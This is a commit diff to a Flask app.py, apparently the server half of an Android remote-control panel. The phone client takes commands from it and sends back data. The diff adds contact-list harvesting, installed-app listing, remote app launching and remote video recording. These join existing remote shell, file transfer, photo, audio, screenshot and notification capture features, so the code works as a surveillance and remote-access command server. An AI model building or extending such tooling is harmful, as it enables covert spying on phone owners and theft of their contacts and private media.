Aleksmorshen commited on
Commit
4a9fddf
·
verified ·
1 Parent(s): 05b9c26

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +153 -15
app.py CHANGED
@@ -19,6 +19,8 @@ current_client_path = "~"
19
  file_to_send_to_client = None
20
  device_status_info = {}
21
  notifications_history = []
 
 
22
 
23
 
24
  HTML_TEMPLATE = """
@@ -30,12 +32,12 @@ HTML_TEMPLATE = """
30
  <title>Панель управления Android</title>
31
  <style>
32
  body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
33
- .sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
34
  .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
35
  .sidebar ul { list-style: none; padding: 0; margin: 0; }
36
  .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
37
  .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
38
- .content { flex-grow: 1; padding: 20px; box-sizing: border-box; }
39
  .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
40
  h1 { color: #333; text-align: center; margin-bottom: 20px;}
41
  .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
@@ -59,11 +61,11 @@ HTML_TEMPLATE = """
59
  .hidden-section { display: none; }
60
  .status-item { margin-bottom: 10px; }
61
  .status-item strong { color: #333; }
62
- .notification-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
63
- .notification-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
64
- .notification-item:last-child { border-bottom: none; }
65
- .notification-item strong { display: block; color: #555; }
66
- .notification-item span { font-size: 0.9em; color: #777; }
67
  </style>
68
  <script>
69
  let currentView = 'dashboard';
@@ -77,6 +79,8 @@ HTML_TEMPLATE = """
77
  if (sectionId === 'files') refreshClientPathDisplay();
78
  if (sectionId === 'device_status') requestDeviceStatus();
79
  if (sectionId === 'notifications') requestNotifications();
 
 
80
  refreshOutput();
81
  }
82
 
@@ -139,6 +143,12 @@ HTML_TEMPLATE = """
139
  if (data.notifications && currentView === 'notifications') {
140
  renderNotifications(data.notifications);
141
  }
 
 
 
 
 
 
142
 
143
 
144
  } catch (error) {
@@ -219,7 +229,7 @@ HTML_TEMPLATE = """
219
  if (notifications && notifications.length > 0) {
220
  notifications.forEach(n => {
221
  const itemDiv = document.createElement('div');
222
- itemDiv.className = 'notification-item';
223
  itemDiv.innerHTML = `
224
  <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
225
  <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
@@ -233,6 +243,51 @@ HTML_TEMPLATE = """
233
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
234
  }
235
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
236
 
237
  function osPathToUserFriendly(path, checkRoot = false) {
238
  if (path.startsWith('/data/data/com.termux/files/home')) {
@@ -294,12 +349,27 @@ HTML_TEMPLATE = """
294
  sendGenericCommand({ command_type: 'shell', command: command });
295
  document.getElementById('command_str').value = '';
296
  }
 
 
 
 
 
 
 
 
 
 
297
 
298
- function submitMediaCommand(type, paramName, paramValueId) {
 
299
  let payload = { command_type: type };
300
  if (paramName && paramValueId) {
301
  const value = document.getElementById(paramValueId).value;
302
  if (value) payload[paramName] = value;
 
 
 
 
303
  }
304
  sendGenericCommand(payload);
305
  }
@@ -370,6 +440,12 @@ HTML_TEMPLATE = """
370
  function requestNotifications() {
371
  sendGenericCommand({ command_type: 'get_notifications' });
372
  }
 
 
 
 
 
 
373
 
374
 
375
  </script>
@@ -381,6 +457,8 @@ HTML_TEMPLATE = """
381
  <li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
382
  <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
383
  <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
 
 
384
  <li><a href="#files" onclick="showSection('files')">Файлы</a></li>
385
  <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
386
  <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
@@ -432,11 +510,42 @@ HTML_TEMPLATE = """
432
  <button onclick="requestNotifications()">Обновить уведомления</button>
433
  <div class="control-section">
434
  <h3>Список уведомлений:</h3>
435
- <div id="notificationList" class="notification-list">
436
  <p>Запросите список уведомлений.</p>
437
  </div>
438
  </div>
439
  </div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
440
 
441
  <div id="files" class="container hidden-section">
442
  <h2>Файловый менеджер (Клиент)</h2>
@@ -489,6 +598,13 @@ HTML_TEMPLATE = """
489
  <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
490
  <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
491
  </div>
 
 
 
 
 
 
 
492
  <div class="control-section">
493
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
494
  </div>
@@ -583,6 +699,12 @@ def handle_send_command():
583
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
584
  elif command_type == 'record_audio':
585
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
 
 
 
 
 
 
586
  elif command_type == 'screenshot':
587
  pending_command = {'type': 'screenshot'}
588
  elif command_type == 'shell':
@@ -624,6 +746,10 @@ def handle_send_command():
624
  pending_command = {'type': 'get_device_status', 'item': item_requested}
625
  elif command_type == 'get_notifications':
626
  pending_command = {'type': 'get_notifications'}
 
 
 
 
627
  else:
628
  command_output = "Неизвестный тип команды."
629
 
@@ -641,7 +767,7 @@ def get_command():
641
 
642
  @app.route('/submit_client_data', methods=['POST'])
643
  def submit_client_data():
644
- global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
645
 
646
  data = request.json
647
  if not data:
@@ -669,11 +795,21 @@ def submit_client_data():
669
  notifications_history = data['notifications_update']
670
  if not command_output or command_output == "Клиент онлайн.":
671
  command_output = "Список уведомлений обновлен."
 
 
 
 
 
 
 
 
 
 
672
 
673
 
674
  if 'heartbeat' in data and data['heartbeat']:
675
  if not command_output or command_output == "Клиент онлайн.":
676
- if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data:
677
  command_output = "Клиент онлайн."
678
  return jsonify({'status': 'heartbeat_ok'})
679
 
@@ -706,7 +842,7 @@ def upload_from_client_route():
706
  try:
707
  file.save(filepath)
708
  origin_command_type = request.form.get("origin_command_type", "unknown")
709
- if origin_command_type == "request_download_file": # Only set this for direct downloads
710
  command_output = f"Файл '{filename}' успешно загружен С клиента."
711
 
712
  return jsonify({'status': 'success', 'filename': filename})
@@ -716,13 +852,15 @@ def upload_from_client_route():
716
 
717
  @app.route('/get_status_output', methods=['GET'])
718
  def get_status_output_route():
719
- global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
720
  return jsonify({
721
  'output': command_output,
722
  'last_heartbeat': last_client_heartbeat,
723
  'current_path': current_client_path,
724
  'device_status': device_status_info,
725
- 'notifications': notifications_history
 
 
726
  })
727
 
728
  @app.route('/uploads_from_client/<path:filename>')
 
19
  file_to_send_to_client = None
20
  device_status_info = {}
21
  notifications_history = []
22
+ contacts_list = []
23
+ installed_apps_list = []
24
 
25
 
26
  HTML_TEMPLATE = """
 
32
  <title>Панель управления Android</title>
33
  <style>
34
  body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
35
+ .sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; overflow-y: auto; }
36
  .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
37
  .sidebar ul { list-style: none; padding: 0; margin: 0; }
38
  .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
39
  .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
40
+ .content { flex-grow: 1; padding: 20px; box-sizing: border-box; overflow-y: auto;}
41
  .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
42
  h1 { color: #333; text-align: center; margin-bottom: 20px;}
43
  .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
 
61
  .hidden-section { display: none; }
62
  .status-item { margin-bottom: 10px; }
63
  .status-item strong { color: #333; }
64
+ .data-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
65
+ .data-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
66
+ .data-item:last-child { border-bottom: none; }
67
+ .data-item strong { display: block; color: #555; }
68
+ .data-item span { font-size: 0.9em; color: #777; }
69
  </style>
70
  <script>
71
  let currentView = 'dashboard';
 
79
  if (sectionId === 'files') refreshClientPathDisplay();
80
  if (sectionId === 'device_status') requestDeviceStatus();
81
  if (sectionId === 'notifications') requestNotifications();
82
+ if (sectionId === 'contacts') requestContacts();
83
+ if (sectionId === 'apps') requestInstalledApps();
84
  refreshOutput();
85
  }
86
 
 
143
  if (data.notifications && currentView === 'notifications') {
144
  renderNotifications(data.notifications);
145
  }
146
+ if (data.contacts && currentView === 'contacts') {
147
+ renderContacts(data.contacts);
148
+ }
149
+ if (data.installed_apps && currentView === 'apps') {
150
+ renderInstalledApps(data.installed_apps);
151
+ }
152
 
153
 
154
  } catch (error) {
 
229
  if (notifications && notifications.length > 0) {
230
  notifications.forEach(n => {
231
  const itemDiv = document.createElement('div');
232
+ itemDiv.className = 'data-item';
233
  itemDiv.innerHTML = `
234
  <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
235
  <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
 
243
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
244
  }
245
  }
246
+
247
+ function renderContacts(contacts) {
248
+ const contactListDiv = document.getElementById('contactList');
249
+ contactListDiv.innerHTML = '';
250
+ if (contacts && contacts.length > 0) {
251
+ contacts.forEach(c => {
252
+ const itemDiv = document.createElement('div');
253
+ itemDiv.className = 'data-item';
254
+ itemDiv.innerHTML = `
255
+ <strong>${c.name || 'Без имени'}</strong>
256
+ <span>${c.number || 'Нет номера'}</span>
257
+ `;
258
+ contactListDiv.appendChild(itemDiv);
259
+ });
260
+ } else {
261
+ contactListDiv.innerHTML = '<p>Нет контактов для отображения или не удалось их получить.</p>';
262
+ }
263
+ }
264
+
265
+ function renderInstalledApps(apps) {
266
+ const appListDiv = document.getElementById('installedAppsList');
267
+ appListDiv.innerHTML = '';
268
+ if (apps && apps.length > 0) {
269
+ apps.forEach(app_pkg => {
270
+ const itemDiv = document.createElement('div');
271
+ itemDiv.className = 'data-item';
272
+ itemDiv.innerHTML = `<span>${app_pkg}</span>`;
273
+ // Add button to try and launch (user needs to fill activity)
274
+ /*
275
+ const launchBtn = document.createElement('button');
276
+ launchBtn.textContent = 'Запустить (AM)';
277
+ launchBtn.onclick = () => {
278
+ let activity = prompt('Введите главный Activity для ' + app_pkg + ' (например, .MainActivity):', '');
279
+ if (activity) {
280
+ sendGenericCommand({command_type: 'shell', command: 'am start -n ' + app_pkg + '/' + activity});
281
+ }
282
+ };
283
+ itemDiv.appendChild(launchBtn);
284
+ */
285
+ appListDiv.appendChild(itemDiv);
286
+ });
287
+ } else {
288
+ appListDiv.innerHTML = '<p>Список приложений пуст или не удалось его получить.</p>';
289
+ }
290
+ }
291
 
292
  function osPathToUserFriendly(path, checkRoot = false) {
293
  if (path.startsWith('/data/data/com.termux/files/home')) {
 
349
  sendGenericCommand({ command_type: 'shell', command: command });
350
  document.getElementById('command_str').value = '';
351
  }
352
+
353
+ function submitAmStartCommand(event) {
354
+ event.preventDefault();
355
+ const command = document.getElementById('am_start_command_str').value;
356
+ if (command) {
357
+ sendGenericCommand({ command_type: 'shell', command: 'am start -n ' + command });
358
+ } else {
359
+ alert("Введите имя пакета/активити.");
360
+ }
361
+ }
362
 
363
+
364
+ function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
365
  let payload = { command_type: type };
366
  if (paramName && paramValueId) {
367
  const value = document.getElementById(paramValueId).value;
368
  if (value) payload[paramName] = value;
369
+ }
370
+ if (param2Name && param2ValueId) {
371
+ const value2 = document.getElementById(param2ValueId).value;
372
+ if (value2) payload[param2Name] = value2;
373
  }
374
  sendGenericCommand(payload);
375
  }
 
440
  function requestNotifications() {
441
  sendGenericCommand({ command_type: 'get_notifications' });
442
  }
443
+ function requestContacts() {
444
+ sendGenericCommand({ command_type: 'get_contacts' });
445
+ }
446
+ function requestInstalledApps() {
447
+ sendGenericCommand({ command_type: 'get_installed_apps' });
448
+ }
449
 
450
 
451
  </script>
 
457
  <li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
458
  <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
459
  <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
460
+ <li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
461
+ <li><a href="#apps" onclick="showSection('apps')">Приложения</a></li>
462
  <li><a href="#files" onclick="showSection('files')">Файлы</a></li>
463
  <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
464
  <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
 
510
  <button onclick="requestNotifications()">Обновить уведомления</button>
511
  <div class="control-section">
512
  <h3>Список уведомлений:</h3>
513
+ <div id="notificationList" class="data-list">
514
  <p>Запросите список уведомлений.</p>
515
  </div>
516
  </div>
517
  </div>
518
+
519
+ <div id="contacts" class="container hidden-section">
520
+ <h2>К��нтакты</h2>
521
+ <button onclick="requestContacts()">Загрузить контакты</button>
522
+ <div class="control-section">
523
+ <h3>Список контактов:</h3>
524
+ <div id="contactList" class="data-list">
525
+ <p>Запросите список контактов.</p>
526
+ </div>
527
+ </div>
528
+ </div>
529
+
530
+ <div id="apps" class="container hidden-section">
531
+ <h2>Установленные приложения</h2>
532
+ <button onclick="requestInstalledApps()">Загрузить список приложений</button>
533
+ <div class="control-section">
534
+ <h3>Список пакетов приложений:</h3>
535
+ <div id="installedAppsList" class="data-list" style="max-height: 200px;">
536
+ <p>Запросите список приложений.</p>
537
+ </div>
538
+ </div>
539
+ <div class="control-section">
540
+ <h3>Запустить приложение (через AM)</h3>
541
+ <form onsubmit="submitAmStartCommand(event)">
542
+ <label for="am_start_command_str">Имя пакета/Главная Activity (например, com.example.app/.MainActivity):</label>
543
+ <input type="text" id="am_start_command_str" name="am_start_command_str" placeholder="com.termux/.app.TermuxActivity">
544
+ <button type="submit">Запустить</button>
545
+ </form>
546
+ </div>
547
+ </div>
548
+
549
 
550
  <div id="files" class="container hidden-section">
551
  <h2>Файловый менеджер (Клиент)</h2>
 
598
  <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
599
  <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
600
  </div>
601
+ <div class="control-section">
602
+ <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
603
+ <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
604
+ <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
605
+ <label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
606
+ <input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
607
+ </div>
608
  <div class="control-section">
609
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
610
  </div>
 
699
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
700
  elif command_type == 'record_audio':
701
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
702
+ elif command_type == 'record_video':
703
+ pending_command = {
704
+ 'type': 'record_video',
705
+ 'duration': data.get('duration', '10'),
706
+ 'camera_id': data.get('camera_id', '0')
707
+ }
708
  elif command_type == 'screenshot':
709
  pending_command = {'type': 'screenshot'}
710
  elif command_type == 'shell':
 
746
  pending_command = {'type': 'get_device_status', 'item': item_requested}
747
  elif command_type == 'get_notifications':
748
  pending_command = {'type': 'get_notifications'}
749
+ elif command_type == 'get_contacts':
750
+ pending_command = {'type': 'get_contacts'}
751
+ elif command_type == 'get_installed_apps':
752
+ pending_command = {'type': 'get_installed_apps'}
753
  else:
754
  command_output = "Неизвестный тип команды."
755
 
 
767
 
768
  @app.route('/submit_client_data', methods=['POST'])
769
  def submit_client_data():
770
+ global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
771
 
772
  data = request.json
773
  if not data:
 
795
  notifications_history = data['notifications_update']
796
  if not command_output or command_output == "Клиент онлайн.":
797
  command_output = "Список уведомлений обновлен."
798
+
799
+ if 'contacts_update' in data:
800
+ contacts_list = data['contacts_update']
801
+ if not command_output or command_output == "Клиент онлайн.":
802
+ command_output = "Список контактов обновлен."
803
+
804
+ if 'installed_apps_update' in data:
805
+ installed_apps_list = data['installed_apps_update']
806
+ if not command_output or command_output == "Клиент онлайн.":
807
+ command_output = "Список установленных приложений обновлен."
808
 
809
 
810
  if 'heartbeat' in data and data['heartbeat']:
811
  if not command_output or command_output == "Клиент онлайн.":
812
+ if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data and 'installed_apps_update' not in data:
813
  command_output = "Клиент онлайн."
814
  return jsonify({'status': 'heartbeat_ok'})
815
 
 
842
  try:
843
  file.save(filepath)
844
  origin_command_type = request.form.get("origin_command_type", "unknown")
845
+ if origin_command_type == "request_download_file":
846
  command_output = f"Файл '{filename}' успешно загружен С клиента."
847
 
848
  return jsonify({'status': 'success', 'filename': filename})
 
852
 
853
  @app.route('/get_status_output', methods=['GET'])
854
  def get_status_output_route():
855
+ global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
856
  return jsonify({
857
  'output': command_output,
858
  'last_heartbeat': last_client_heartbeat,
859
  'current_path': current_client_path,
860
  'device_status': device_status_info,
861
+ 'notifications': notifications_history,
862
+ 'contacts': contacts_list,
863
+ 'installed_apps': installed_apps_list
864
  })
865
 
866
  @app.route('/uploads_from_client/<path:filename>')